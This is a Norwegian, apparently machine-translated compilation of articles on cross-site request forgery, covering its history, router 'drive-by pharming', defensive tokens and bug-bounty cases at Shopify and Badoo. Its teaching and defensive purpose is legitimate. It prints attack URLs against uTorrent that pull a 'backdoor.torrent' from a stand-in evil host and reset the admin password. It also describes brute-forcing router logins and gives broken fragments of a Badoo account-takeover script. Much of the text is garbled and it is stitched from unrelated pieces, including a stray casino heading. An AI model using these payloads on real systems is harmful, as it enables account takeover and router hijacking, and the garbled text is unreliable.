Hvordan beskytte deg mot csrf-angrep. CSRF-sårbarhet. Introduksjon. Hvordan bestemmes kasinoets rettferdighet?

Forfalskning av forespørsler på tvers av nettsteder – mye oppstyr om ingenting

Alexander Antipov

I I det siste Det er utbredt diskusjon i sikkerhetsfellesskapet for nettapplikasjoner om en "ny" type sårbarhet kalt Cross-Site Request Forgery (CSRF eller XSRF). Artikkelen vi gjør leseren oppmerksom på, inneholder en beskrivelse av denne typen sårbarheter, metoder for bruk og de viktigste tilnærmingene til beskyttelse.


Sergey Gordeychik

Gordey @ ptsecurity com

Den siste tiden har det vært mye diskusjon i sikkerhetsfellesskapet for nettapplikasjoner om en "ny" type sårbarhet kalt Cross-Site Request Forgery (CSRF eller XSRF). Artikkelen vi gjør leseren oppmerksom på, inneholder en beskrivelse av denne typen sårbarheter, metoder for bruk og de viktigste tilnærmingene til beskyttelse. Den generelt aksepterte russiske termen for forfalskning av forespørsler på tvers av nettsteder er ennå ikke etablert, og derfor foreslår forfatteren å bruke alternativet "HTTP-forespørselsforfalskning".

Lyrisk digresjon

Først av alt vil jeg dvele ved de viktigste misoppfatningene knyttet til CSRF:

1. HTTP-forespørselsforfalskning er en ny type sårbarhet.

Dette er langt fra sant. Teoretiske tanker om emnet meldingskildeforfalskning går tilbake til 1988 (http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html), og praktiske eksempler på sårbarheter har blitt diskutert i Bugtraq siden minst 2000 (http ://www. zope.org/Members/jim/ZopeSecurity/ClientSideTrojan). Selve begrepet ble introdusert av Peter Watkins (http://www.securiteam.com/securitynews/5FP0C204KE.html) i 2001.

2. CSRF er en variant av Cross-Site Scripting (XSS).

Den eneste likheten mellom CSRF og XSS er bruken av nettapplikasjonsklienter som en angrepsvektor (Client-Side Attack i WASC-terminologi http://www.webappsec.org/projects/threat/). CSRF-sårbarheter kan utnyttes i forbindelse med XSS eller "redirectors" (http://www..php), men representerer en egen klasse av sårbarheter.

3. CSRF-sårbarheten er ikke vanlig og ganske vanskelig å utnytte.

Data innhentet av Positive Technologies under penetrasjonstesting og sikkerhetsvurdering av webapplikasjoner viser at flertallet av webapplikasjoner er utsatt for denne sårbarheten. I motsetning til andre sårbarheter oppstår ikke CSRF som et resultat av programmeringsfeil, men er normal oppførsel til nettserveren og nettleseren. De. De fleste nettsteder som bruker standardarkitektur er sårbare som standard.

Eksempel på bruk

La oss se på bruken av CSRF med et eksempel. Anta at det er en nettapplikasjon som sender meldinger E-post. Brukeren spesifiserer e-postadressen og meldingsteksten, klikker på Send-knappen, og meldingen fra adressen hans sendes til mottakeren.

Ris. 1. Sende en melding

Ordningen er kjent fra mange steder og gir ingen innvendinger. Imidlertid er det høyst sannsynlig at nevnte applikasjon er sårbar for HTTP Request Forgery-angrep. For å utnytte sårbarheten kan en angriper opprette en side på nettstedet hans som inneholder en lenke til et "bilde", og deretter tvinge brukeren til å følge koblingen til nettstedet hans (for eksempel http://bh.ptsecurity.ru/xcheck /csrf.htm).

Ved tilgang til en side forsøker brukerens nettleser å laste inn bildet, som den kontakter den sårbare applikasjonen for, dvs. sender en e-postmelding til mottakeren spesifisert i "til"-feltet i forespørselen.

Ris. 2. CSRF-angrep

Vær oppmerksom på at brukerens nettleser vil sende en informasjonskapselverdi til nettstedet, dvs. forespørselen vil bli oppfattet som å komme fra en autentisert bruker. For å tvinge en bruker til å laste en side som sender en forespørsel til en sårbar server, kan en angriper bruke metoder sosial ingeniørkunst, samt tekniske sårbarheter som XSS og feil i implementeringen av omdirigeringsfunksjonen.

Ris. 3. Logikk for CSRF-operasjon

Et CSRF-angrep innebærer altså å bruke brukerens nettleser til å sende HTTP-forespørsler til vilkårlige nettsteder, og sårbarheten er en feil med å sjekke kilden til HTTP-forespørselen. Eksempelapplikasjonen bruker HTTP GET-metoden for å sende parametere, noe som gjør livet enklere for en angriper. Ikke anta at bruk av POST-metoden automatisk eliminerer muligheten for HTTP-forespørselsforfalskningsangrep. Siden på angriperens server kan inneholde et ferdig HTML-skjema som sendes automatisk når siden vises.

For å utnytte CSRF trenger ikke en angriper å ha sin egen webserver. Siden som starter forespørselen kan overføres via e-post eller på andre måter.

Billy Hoffmans anmeldelse dekker ulike metoder for nettverksbygging ved hjelp av Javascript. Alle, inkludert XmlHttxmpquest (i noen situasjoner), kan brukes til å implementere CSRF-angrep.

Jeg håper at nå leseren allerede forstår hovedforskjellen mellom CSRF og XSS. Når det gjelder XSS, får angriperen tilgang til DOM (Document Object Model) til den sårbare siden, både for lesing og skriving. Ved utføring av CSRF har angriperen muligheten til å sende en forespørsel til serveren ved hjelp av brukerens nettleser, men vil ikke lenger kunne motta og analysere serverens svar, langt mindre overskriften (for eksempel informasjonskapsel). Følgelig lar "HTTP Request Forgery" deg jobbe med applikasjonen i "skrive-bare" modus, som imidlertid er nok til å utføre ekte angrep.

Hovedmålene for CSRF-angrep er ulike interaktive webapplikasjoner, for eksempel e-postsystemer, fora, CMS, grensesnitt fjernkontroll nettverksutstyr. En angriper kan for eksempel sende meldinger på vegne av andre brukere, legge til nye kontoer eller endre ruterinnstillinger via webgrensesnittet.

Ris. 4. Eksempel på bruk av CSRF i forumet

La oss se nærmere på den siste – endre innstillinger nettverksenheter. Forfatteren refererer allerede til trådløse angrepsdeteksjonssystemer, men saken er naturligvis ikke begrenset til dem.

Vi bryter gjennom omkretsen

I desember i fjor publiserte Symantec en rapport om et "nytt" angrep kalt "Drive-By Pharming", som egentlig er en variant av CSRF-utnyttelse. Angriperen utfører en slags "magisk" JavaScript i brukerens nettleser som endrer ruterinnstillingene, for eksempel ved å sette en ny DNS-serververdi. For å utføre dette angrepet må du løse følgende problemer:

Portskanning ved hjelp av JavaScript;

Bestemme typen webapplikasjon (fingeravtrykk);

Passordgjetting og autentisering ved hjelp av CSRF;

Endre vertsinnstillinger ved hjelp av et CSRF-angrep.

Teknikken med skanning for å bestemme tilgjengeligheten til en webserver og dens programvaretype ved hjelp av JavaScript har blitt utviklet ganske godt og koker ned til dynamisk skapelse HTML-objekter (f.eks. img src=) som peker til ulike interne URL-er (f.eks. http://192.168.0.1/pageerror.gif). Hvis "bildet" ble lastet, er en Microsoft IIS-basert webserver plassert på den testede adressen. Hvis svaret mottok en 404-feil, er porten åpen og webserveren kjører på den. Hvis tidsavbruddet er overskredet, er ikke serveren på nettverket eller porten er blokkert på brannmuren. Vel, i andre situasjoner - porten er stengt, men verten er tilgjengelig (serveren returnerte RST-pakken og nettleseren returnerte en feil før tidsavbruddet utløp). I noen situasjoner kan slik portskanning fra brukerens nettleser utføres uten bruk av JavaScript (http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Etter å ha bestemt enhetstypen, kan en angriper prøve å tvinge brukerens nettleser til umiddelbart å sende en forespørsel om å endre innstillinger. Men en slik forespørsel vil bare være vellykket hvis brukerens nettleser allerede har en aktiv autentisert sesjon fra enheten. Har for hånden åpen sideå administrere en ruter er en dårlig vane for mange "avanserte" brukere.

Hvis det ikke er noen aktiv økt med administrasjonsgrensesnittet, må angriperen autentisere seg. Hvis enheten implementerer skjemabasert autentisering, oppstår det ingen problemer. Ved å bruke CSRF i POST sendes en autorisasjonsforespørsel til serveren, hvoretter et bilde (eller en side) lastes fra den, kun tilgjengelig for autentiserte brukere. Hvis bildet ble mottatt, var autentiseringen vellykket, og du kan fortsette til ytterligere handlinger, ellers prøv et annet passord.

Hvis den angrepne enheten implementerer grunnleggende autentisering, blir oppgaven mer komplisert. Nettleser Explorer støtter ikke muligheten til å spesifisere et brukernavn og passord i en URL (for eksempel http://user: [e-postbeskyttet]). I denne forbindelse, for å utføre grunnleggende autentisering, kan metoden for å legge til HTTP-hoder ved hjelp av Flash, beskrevet i artikkelen, brukes. Denne metoden fungerer imidlertid bare for eldre versjoner av Flash, som blir mindre og mindre vanlig.

Men andre nettlesere, som Firefox, gir muligheten til å spesifisere et brukernavn og passord i URL-en, og kan brukes til å autentisere til enhver server, og dette kan gjøres uten å generere en feilmelding hvis passordet er feil.

Et eksempelskript for stille autentisering ved bruk av Basic-metoden, fra Stefan Essers blogg, er gitt nedenfor.

Firefox HTTP Auth Bruteforcing

Ris. 5. Grunnleggende autentisering i Firefox

I et bedriftsmiljø hvor SSO-mekanismer ofte brukes, for eksempel domenebasert Active Directory og Kerberos- og NTLM-protokollene krever det ingen ekstra innsats å utnytte CSRF. Nettleseren vil automatisk autentisere seg mot sikkerhetskonteksten til gjeldende bruker.

Etter at autentisering er bestått, bruker angriperen JavaScript til å sende en forespørsel som endrer vilkårlige ruterinnstillinger, for eksempel DNS-serveradressen.

Beskyttelsesmetoder

Det første du tenker på når det kommer til CSRF-beskyttelse er å sjekke verdien av Referer-overskriften. Faktisk, siden HTTP-forespørselsforfalskning innebærer å overføre en forespørsel fra et tredje nettsted, kan kontroll av den opprinnelige siden, hvis adresse automatisk legges til forespørselshodene av nettleseren, løse problemet.

Imidlertid har denne mekanismen en rekke ulemper. For det første står utvikleren overfor spørsmålet om å behandle forespørsler som ikke har en Referer-overskrift som sådan. Mange av de personlige brannmurer og anonymisering av proxy-servere kuttet ut Referer som en potensielt usikker overskrift. Følgelig, hvis serveren ignorerer lignende forespørsler, vil en gruppe av de mest "paranoide" innbyggerne ikke kunne jobbe med ham.

For det andre, i noen situasjoner kan Referer-headeren forfalskes, for eksempel ved å bruke Flash-trikset som allerede er nevnt. Hvis brukeren bruker IE 6.0, kan innholdet i forespørselshodet endres for å utnytte en feil i XmlHttxmpquest-implementeringen. Sårbarheten ligger i muligheten for å bruke nylinjetegn i navnet på en HTTP-metode, som gjør det mulig å endre overskrifter og til og med injisere en ekstra forespørsel. Denne sårbarheten ble oppdaget av Amit Klein() i 2005 og gjenoppdaget i 2007. Begrensningen for denne metoden er at den bare fungerer hvis det er en HTTP-proxy mellom brukeren og serveren, eller hvis serverne er plassert på samme IP-adresse men med forskjellige domenenavn.navn.

En annen vanlig metode er å legge til en unik parameter til hver forespørsel, som deretter valideres av serveren. Parameteren kan legges til URL-en når du bruker en GET-forespørsel, for eksempel i eller som en skjult skjemaparameter når du bruker en POST. Verdien av parameteren kan være vilkårlig, det viktigste er at angriperen ikke kan forutsi det, for eksempel verdien av brukerens økt.

Ris. 6. CSRF-beskyttelse i Bitrix

For raskt å legge til CSRF-kontrollfunksjonalitet til applikasjonen din, kan du bruke følgende tilnærming:

1. Legg til et lite JavaScript på hver genererte side, og legg til en ekstra skjult parameter i alle skjemaer, som tildeles informasjonskapselverdien.

2. Sjekk på serveren at dataene som sendes av klienten ved hjelp av POST-metoden inneholder en verdi som tilsvarer gjeldende informasjonskapselverdi.

Et eksempel på et slikt klientskript er gitt nedenfor:

En videreutvikling av denne tilnærmingen er å lagre sesjonsidentifikatoren ikke i en informasjonskapsel, men som en skjult skjemaparameter (for eksempel VIEWSTATE).

Som en metode for å motvirke CSRF kan ulike versjoner av Turing-tester brukes, for eksempel kjente bilder – CAPTCHA. Et annet populært alternativ er å kreve et brukerpassord når du endrer kritiske innstillinger.

Ris. 7. CSRF-beskyttelse i mail.ru

Dermed er Cross-Site Request Forgery et angrep rettet mot klienten til en webapplikasjon og bruker utilstrekkelig verifisering av kilden til HTTP-forespørselen. For å beskytte mot slike angrep, kan ytterligere kontroll av forespørselskilden brukes basert på Referer-overskriften eller en ekstra "tilfeldig" parameter.

Sergey Gordeychik jobber som systemarkitekt hos Positive Technologies, hvor han spesialiserer seg på applikasjonssikkerhet, trådløs og mobile teknologier. Forfatteren er også hovedutvikleren av Security trådløse nettverk", "Analyse og vurdering av sikkerheten til webapplikasjoner" av Informzashita opplæringssenter. Publisert flere dusin artikler i "Windows IT Pro/RE", SecurityLab og andre publikasjoner. Han er medlem av Web Application Security Consortium (WASC) prosjekter.

Forfalskning av forespørsler på tvers av nettsteder, også kjent som ett-klikks angrep eller øktstasjon og forkortet CSRF (noen ganger uttrykt tidevannsboring lytte)) eller XSRF, er en type skadelig programvare som utnyttes fra et nettsted der uautoriserte kommandoer sendes fra brukeren som nettapplikasjonen stoler på. Det er mange måter et ondsinnet nettsted kan overføre slike kommandoer på; spesiallagde bildekoder, skjulte skjemaer og JavaScript XMLHttpRequests, for eksempel, kan alle fungere uten brukerinteraksjon eller til og med kunnskap. I motsetning til cross-site scripting (XSS), som utnytter tilliten brukeren har for et spesifikt nettsted, utnytter CSRF tilliten som nettstedet har i brukerens nettleser.

historie

CSRF-sårbarheter er kjent og i noen tilfeller utnyttet siden 2001. Siden det er utført fra brukerens IP-adresse, kan det hende at enkelte nettstedslogger ikke har bevis for CSRF. Utnyttelser er undervurdert, av i det minste offentlig, og fra og med 2007 var det flere godt dokumenterte eksempler:

  • Netflix-nettstedet i 2006 hadde en rekke CSRF-sårbarheter som kunne tillate en angriper å utføre handlinger som å legge til en DVD i et offers leiekø, endre leveringsadressen på en konto eller endre et offers påloggingsinformasjon for å fullstendig kompromittere kontoen.
  • Nettbank-nettapplikasjonen ING Direct var sårbar for CSRF-angrep, og tillot ulovlige pengeoverføringer.
  • Det populære videonettstedet YouTube var også sårbart for CSRF i 2008, og dette tillot enhver angriper å utføre nesten alt enhver bruker kunne gjøre.
  • McAfee er også sårbar for CSRF, som tillot angripere å endre selskapets system.

Nye angrep på nettenheter ble utført i 2018, inkludert forsøk på å endre DNS-innstillinger rutere. Noen ruterprodusenter skyndte seg å gi ut fastvareoppdateringer for å forbedre sikkerheten og rådet brukere til å endre ruterinnstillingene for å redusere risikoen. Detaljer ble ikke frigitt, med henvisning til "åpenbare sikkerhetsgrunner."

Eksempel og egenskaper

Angripere som kan finne en reproduserbar lenke som utfører en spesifikk handling på en landingsside mens offeret registrerer seg, kan legge inn en slik lenke på en side de kontrollerer og lure offeret til å åpne den. Angrepsmedielenken kan plasseres på et sted som offeret mest sannsynlig vil besøke ved å logge på målnettstedet (for eksempel en forumdiskusjon), eller sendes i brødteksten til en HTML-e-post eller vedlegg. Den faktiske CSRF-sårbarheten i UTorrent (CVE-2008-6586) utnyttet det faktum at nettkonsollen er tilgjengelig på localhost:8080, slik at kritiske handlinger kan utføres med en enkel GET-forespørsel:

Tving nedlasting av .torrent-fil http://localhost:8080/gui/action=add URL&s=http://evil.example.com/backdoor.torrent Endre Utorrent-administratorpassord http://localhost:8080/gui/action = setsetting & s = webui.passord & v = eviladmin

Angrepene ble satt i gang ved å plassere ondsinnede, automatiserte HTML-bildeelementer på forum og e-postspam, slik at nettlesere som besøkte disse sidene ville åpne dem automatisk, uten mye handling fra brukerens side. Folk som kjørte en sårbar versjon av Utorrent samtidig som de åpnet disse sidene, var utsatt for angrepet.

CSRF-angrep med bildekoder lages ofte fra internettfora der brukere kan legge ut bilder, men ikke JavaScript, for eksempel ved å bruke BBCode:

Http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent

Når du får tilgang til en angrepslenke på en lokal Utorrent-applikasjon på localhost:8080, vil nettleseren også automatisk sende eventuelle eksisterende informasjonskapsler for det domenet. Denne fellesegenskapen til nettlesere lar CSRF-angrep utnytte sine målsårbarheter og utføre fiendtlige handlinger så lenge brukeren er logget på målnettstedet (i dette eksemplet lokalt web- Utorrent-grensesnitt) på tidspunktet for angrepet.

Forfalskning av forespørsler på tvers av nettsteder er et forvirrende proxy-angrep mot nettleseren.

CSRF har vanligvis følgende egenskaper:

  • Det inkluderer nettsteder som er avhengige av brukeridentitet.
  • Det utnytter nettstedets tillit til denne identiteten.
  • Det lurer brukerens nettleser til å sende HTTP-forespørsler til målnettstedet.
  • Det inkluderer HTTP-forespørsler som har bivirkninger.
HTTP-verb og CSRF
  • I HTTP GET er utnyttelse av CSRF triviell, ved å bruke metodene beskrevet ovenfor, for eksempel en enkel hyperkobling som inneholder manipulerte parametere og lastes automatisk ved hjelp av en IMG-tag. I følge HTTP-spesifikasjonen skal imidlertid GET brukes som en sikker metode, det vil si uten å endre brukerens tilstand i applikasjonen vesentlig. Applikasjoner som bruker GET for slike operasjoner bør bytte til HTTP POST eller bruke CSRF-beskyttelse.
  • HTTP POST har ulike CSRF-sårbarheter, avhengig av de detaljerte brukstilfellene:
    • I sin enkleste form er en POST med data kodet som en spørringsstreng (field1=value1&field2=value2) CSRF-angrep enkelt implementert ved hjelp av et enkelt HTML-skjema og anti-CSRF-tiltak må brukes.
    • Hvis dataene sendes i et annet format (JSON, XML) er standardmetoden å utstede en POST-forespørsel ved å bruke XMLHttpRequest med CSRF-angrep forhindret av SOP og ; det er en metode for å sende inn vilkårlig innhold fra et enkelt HTML-skjema ved å bruke ENCTYPE-attributtet; en slik falsk forespørsel kan skilles fra legitime ved tekst/vanlig innholdstype, men hvis dette ikke utføres på serveren, kan CSRF utføres
  • andre HTTP-metoder (PUT, DELETE, etc.) kan bare utstedes ved å bruke XMLHttpRequest med SOP- og CSRF-forebygging; Disse tiltakene vil imidlertid ikke være aktive på nettsteder som eksplisitt deaktiverer dem ved hjelp av Access-Control-Allow-Origin: * header
Andre tilnærminger til CSRF

I tillegg, mens det typisk beskrives som en statisk type angrep, kan CSRF også konstrueres dynamisk som en del av nyttelasten for angrepsscenarier på tvers av nettsteder, som demonstrert av Samy-ormen, eller konstruert i farten fra øktinformasjon lekket via offsite-innhold og sendt til målet som en ondsinnet URL. CSRF-tokens kan også sendes av en ondsinnet klient på grunn av øktfiksering eller andre sårbarheter, eller gjettes gjennom et brute force-angrep oversatt til en ondsinnet side som genererer tusenvis av mislykkede forespørsler. "Dynamic CSRF"-angrepsklassen, eller bruk av en per-klient-nyttelast for en øktspesifikk spoofing, ble beskrevet i 2009 av Nathan Hamiel og Sean Moyer på BlackHat-briefinger, selv om taksonomien ennå ikke har fått større bruk.

En ny vektor for å komponere dynamiske CSRF-angrep ble presentert av Oren Ofer på det lokale OWASP-kapittelmøtet i januar 2012 - "AJAX Hammer - Dynamic CSRF".

Konsekvenser

Alvorlighetsindikatorer er utstedt for CSRF-sårbarheter som fører til ekstern kjøring av kode med root-privilegier, samt en sårbarhet som kan kompromittere et rotsertifikat, noe som vil fullstendig undergrave den offentlige nøkkelinfrastrukturen.

Begrensninger

Flere ting må skje for at en forespørsel om forfalskning på tvers av nettsteder skal lykkes:

  • Angriperen må enten målrette mot et nettsted som ikke sjekker henvisningshodet eller offeret ved hjelp av en nettleser eller en plugin som tillater henvisningsspoofing.
  • Angriperen må finne et innsendingsskjema på målnettstedet, eller URL, som har bivirkningene av å gjøre noe (som å overføre penger eller endre offerets e-postadresse eller passord).
  • Angriperen må bestemme de riktige verdiene for alle skjemaer eller URL-inndata; hvis noen av dem skulle ha hemmelige autentiseringsverdier eller identifikatorer som angriperen ikke ville være i stand til å gjette, ville angrepet sannsynligvis mislykkes (med mindre angriperen var veldig heldig i sin gjetning).
  • Angriperen må lokke offeret til en nettside som inneholder ondsinnet kode mens offeret logger på målnettstedet.
  • Angrepet er blindt: angriperen kan ikke se hva målnettstedet sender tilbake til offeret som svar på falske forespørsler med mindre de utnytter Cross-Site Scripting eller en annen feil på målstedet. I tillegg kan en angriper bare målrette mot enhver lenke eller sende inn skjemaer som kommer etter den første forfalskede forespørselen, så lenge de påfølgende koblingene eller skjemaene er tilsvarende forutsigbare. (Flere mål kan simuleres ved å inkludere flere bilder på siden, eller ved å bruke JavaScript for å introdusere en forsinkelse mellom klikk.)

    Gitt disse begrensningene kan en angriper ha problemer med å finne ofrenes anonyme identiteter eller en sårbar form for representasjon. På den annen side er angrepsforsøk lett montert og uoppdaget av ofre, og applikasjonsutviklere er mindre kjente og forberedt på CS-angrep enn de er for, for eksempel, passordknekking av ordbokangrep.

    forebygging

    De fleste CSRF-forebyggingsmetoder fungerer ved å bygge inn ekstra autentiseringsdata i forespørsler, noe som gjør at nettapplikasjonen kan oppdage forespørsler fra uautoriserte steder.

    Synchronizer markør modell
    • Ved pålogging setter nettapplikasjonen en informasjonskapsel som inneholder et tilfeldig token som forblir uendret gjennom brukerens økt
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; utløper=tors, 23-jul-2015 10:25:33 GMT; Maks-alder=31449600; Bane=/
    • JavaScript som kjører på klientsiden, leser verdien og kopierer den til en tilpasset HTTP-header som sendes med hver transaksjonsforespørsel
    X-Csrf-token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
    • Serveren sjekker tilstedeværelsen og integriteten til tokens

    Sikkerheten til denne metoden er basert på antakelsen om at bare JavaScript som kjører innenfor samme opprinnelse vil kunne lese informasjonskapselens verdi. JavaScript som kjører med en falsk fil eller e-postadresse vil ikke kunne lese og kopiere til den egendefinerte overskriften. Selv om CSRF-token-informasjonskapselen automatisk sendes med den falske forespørselen, vil serveren fortsatt forvente en gyldig X-CSRF-token-header.

    Selve CSRF-tokenet må være unikt og uforutsigbart. Dette kan genereres tilfeldig, eller det kan hentes fra økttokens ved hjelp av HMAC:

    Csrf_token = HMAC(session_token, application_secret)

    CS-informasjonskapseltokenet skal ikke ha et HTTPOnly-flagg siden det er ment å leses av JavaScript-design.

    Denne metoden er implementert av mange moderne rammeverk som Django og AngularJS. Fordi tokenet forblir vedvarende gjennom brukerens økt, fungerer det bra med AJAX-applikasjoner, men gir ikke hendelsessekvensering i nettapplikasjoner.

    Beskyttelsen som tilbys av denne metoden kan forpurres hvis målnettstedet deaktiverer policyen for samme opprinnelse ved å bruke en av følgende metoder:

    • Overskrift for Permissive Access-Control-Allow-Origin (med argumentstjerne)
    • clientaccesspolicy.xml-fil som gir utilsiktet tilgang til Silverlight-kontroller
    • crossdomain.xml-fil som gir utilsiktet tilgang til Flash-filmer
    Dobbel send informasjonskapsel

    I likhet med cookie-to-header-tilnærmingen, men uten JavaScript involvert, kan nettstedet angi et CSRF-token som en informasjonskapsel, og også sette det inn i et skjult felt i hver HTML-skjema, sendt klient. Når skjemaet er sendt inn, kan nettstedet kontrollere at informasjonskapselmarkøren samsvarer med formen på markørene. Den felles opprinnelsespolicyen forhindrer en angriper i å lese eller sette informasjonskapsler på måldomenet, så de kan ikke plassere et gyldig token i sin utformede form.

    Fordelen med denne metoden fremfor synkroniseringsmønsteret er at tokenet ikke trenger å være lagret på serveren.

    Kundegarantier

    Nettleserutvidelser som RequestPolicy (for Mozilla Firefox) eller Umatrix (både for Firefox og Google Chrome/Chromium) kan forhindre CSRF ved å gi en standard avvisningspolicy for forespørsler på tvers av nettsteder. Dette kan imidlertid forstyrre den normale driften av mange nettsteder betydelig. CsFire-utvidelsen (også for Firefox) kan redusere virkningen av CSRF med mindre innvirkning på normal surfing ved å fjerne autentiseringsinformasjon fra forespørsler på tvers av nettsteder.

    Cross Site Request Forgery, eller CSRF, er et angrep som oppstår når et skadelig nettsted, e-post, melding, applikasjon eller noe annet får en brukers nettleser til å utføre en handling på et annet nettsted der den brukeren allerede er autentisert. Ofte skjer dette uten brukerens viten.

    Skaden forårsaket av et CSRF-angrep avhenger av nettstedet som mottar handlingen. Her er et eksempel:

  • Bob skriver inn sin personlige konto i nettbankklienten, utfører noen operasjoner, men logger ikke ut.
  • Bob sjekker e-posten sin og klikker på en lenke som tar ham til et ukjent nettsted.
  • Et ukjent nettsted sender en forespørsel til Bobs nettbankklient om å overføre penger, og sender informasjon til Bobs informasjonskapsel som ble lagret fra forrige økt.
  • Bob's Bank-nettstedet godtar en forespørsel fra et ukjent (ondsinnet) nettsted uten å bruke et CSRF-token og utfører oversettelsen.
  • En enda mer interessant situasjon er når en kobling til en ondsinnet
    nettstedet kan inneholde gyldig HTML, takket være at Bo-
    Du trenger ikke engang å klikke på linken: . Hvis Bobs enhet (for eksempel en nettleser) gjengir
    Dette bildet vil sende en forespørsel til malicious_site.com og potensielt forårsake et CSRF-angrep.

    Nå som du er klar over farene ved CSRF-angrep, kan du beskytte deg mot dem på en rekke måter, den mest populære av disse er kanskje bruken av et CSRF-token, som må sendes med enhver forespørsel som potensielt kan endre data ( for eksempel POST-forespørsler). En nettapplikasjon (som Bobs nettbank) må generere et token som består av to deler, hvorav Bob vil motta og den andre lagres i applikasjonen.

    Når Bob prøver å gjøre en forespørsel om pengeoverføring, må han sende et token, som vil bli bekreftet av banken for gyldighet ved hjelp av tokenet som er lagret i applikasjonen.

    Nå som vi vet om CSRF- og CSRF-tokens, gir Cross Origin Resource Sharing (CORS) mer mening, selv om jeg kanskje nettopp la merke til dette da jeg undersøkte nye mål. Generelt sett begrenser CORS listen over ressurser som kan få tilgang til data. Med andre ord, når CORS brukes til å sikre et nettsted, kan du skrive Javascript for å ringe målapplikasjonen, lese svaret og foreta et nytt anrop hvis målnettstedet lar deg gjøre det.

    Hvis dette virker forvirrende, prøv å bruke Javascript for å ringe HackerOne.com/activity.json, les svaret og foreta et nytt anrop. Du vil også se viktigheten av dette og mulige løsninger i eksempel #3 nedenfor.

    Til slutt er det viktig å merke seg (takk til Jobert Abma for å påpeke dette) at ikke hver forespørsel uten et CSRF-token er ugyldig. Noen nettsteder kan utføre ytterligere kontroller, for eksempel å sammenligne den opprinnelige overskriften (selv om dette ikke er garantert å være sikkert og det er kjente tilfeller av omgåelse). Dette er et felt som identifiserer adressen til siden som lenker til den forespurte ressursen. Med andre ord, hvis den opprinnelige parten (henviseren)

    foretar et POST-anrop fra et annet nettsted enn det samme stedet som mottok HTTP-forespørselen, kan det hende at nettstedet ikke tillater at anropet oppnår samme effekt som å bruke CSRF-tokenet. I tillegg bruker ikke alle nettsteder csrf-termer når de oppretter eller definerer et token. For eksempel, på Badoo er dette rt-parameteren, som beskrevet nedenfor.

    Les OWASP Testing for CSRF-opplæringen

    Eksempler 1. Eksportering av installerte Shopify-brukere

    Vanskelighetsgrad: Lav
    URL: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users


    Beskrivelse:

    Shopify API gir et endepunkt for eksport av en liste over installerte brukere via URL-en vist ovenfor. Sårbarheten var at nettstedet kunne sende en forespørsel til dette endepunktet og motta informasjon som svar, siden

    Shopify brukte ikke et CSRF-token for å validere denne forespørselen. Som et resultat kan følgende HTML-kode brukes til å sende inn et skjema på vegne av et intetanende offer.

    1 2 csrf 3 4 7 8 9

    I dette eksemplet, med et enkelt besøk Javascript-sider sender inn et skjema som inkluderer en GET-forespørsel til Shopify API ved hjelp av Shopify-informasjonskapsler satt i offerets nettleser.

    konklusjoner

    Øk omfanget av angrepene dine og se etter feil ikke bare på nettstedet, men også i API. API-endepunkter er også en potensiell mulighet for utnyttelse, så det er verdt å ha dette i bakhodet, spesielt hvis du vet at API-en kan ha blitt utviklet eller gjort tilgjengelig etter at nettgrensesnittet ble opprettet.

    2. Koble Shopify fra Twitter

    Vanskelighetsgrad: Lav
    URL: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

    Shopify gir Twitter-integrasjon som lar butikkeiere tweete om produktene sine. Tilsvarende lar tjenesten deg koble fra en Twitter-konto fra en tilknyttet butikk.

    Nettadressen for å deaktivere Twitter-kontoen din fra butikken er oppført ovenfor. Da Shopify sendte forespørselen, validerte ikke Shopify CSRF-tokenet, noe som gjorde det mulig for angriperen å lage en falsk lenke som, når den ble klikket, ville få den intetanende butikkeieren til å koble butikken sin fra Twitter.

    I beskrivelsen av sårbarheten ga WeSecureApp følgende eksempel på en sårbar forespørsel; merk at bruken av img-taggen kaller den sårbare nettadressen:

    1 FÅ /auth/twitter/disconnect HTTP/1.1 2 Vert: twitter-commerce.shopifyapps.com 3 Brukeragent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Godta: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Refererer: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Cookie: _twitter-commerce_session=REDACTED 12 >Tilkobling: keep-alive

    Fordi nettleseren sender en GET-forespørsel om å hente bildet fra den beståtte URL-en og CSRF-tokenet ikke er validert, er den tilpassede butikken nå deaktivert:

    1 2 3 5 6

    konklusjoner

    I denne situasjonen kunne sårbarheten som beskrives ha blitt funnet ved å bruke en proxy-server som Burp eller Firefox Tamper Data, bare ved å se på forespørselen sendt til Shopify og se at forespørselen ble gjort ved hjelp av en GET-forespørsel. Siden dette var forstyrrende og GET-forespørsler ikke skal endre data til serveren, er det verdt å undersøke.

    3. Fullfør kontoovertakelse på Badoo

    Vanskelighetsgrad: Middels
    URL: https://badoo.com
    Rapportlenke: https://hackerone.com/reports/12770312
    Rapportdato: 1. april 2016
    Utbetalt belønning: $852

    Beskrivelse:

    Hvis du ser på Badoo, beskytter de mot CSRF ved å inkludere en rt-parameter i URL-en, som bare er 5 tegn lang (i hvert fall i skrivende stund). Selv om jeg la merke til dette da Badoo lanserte en kampanje på HackerOne, har jeg ikke funnet en måte å bruke den på. Imidlertid fant Mahmoud Jamal (zombiehelp54) det.

    Etter å ha forstått betydningen av rt-parameteren, la han også merke til at parameteren ble returnert i nesten alle json-svar. Dessverre gjorde ikke dette noe godt siden CORS beskytter Badoo mot angrep ved å lese disse svarene. Mahmoud fortsatte å lete.

    Det viste seg at filen https://eu1.badoo.com/worker-scope/chrome-ser inneholder verdien rt. Det som var enda bedre var at denne filen
    kunne leses vilkårlig av angriperen og krevde ikke
    offeret gjør ingen andre ting enn å besøke en ondsinnet nettside. Her er koden han oppga:

    1 2 3 Badoo-konto overtatt 4 6 7 8 9 funksjon getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = 'https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state=7c8b10+prontrf=7cb560+pron _code ; 18 window.location = csrf_url ; 19); 20

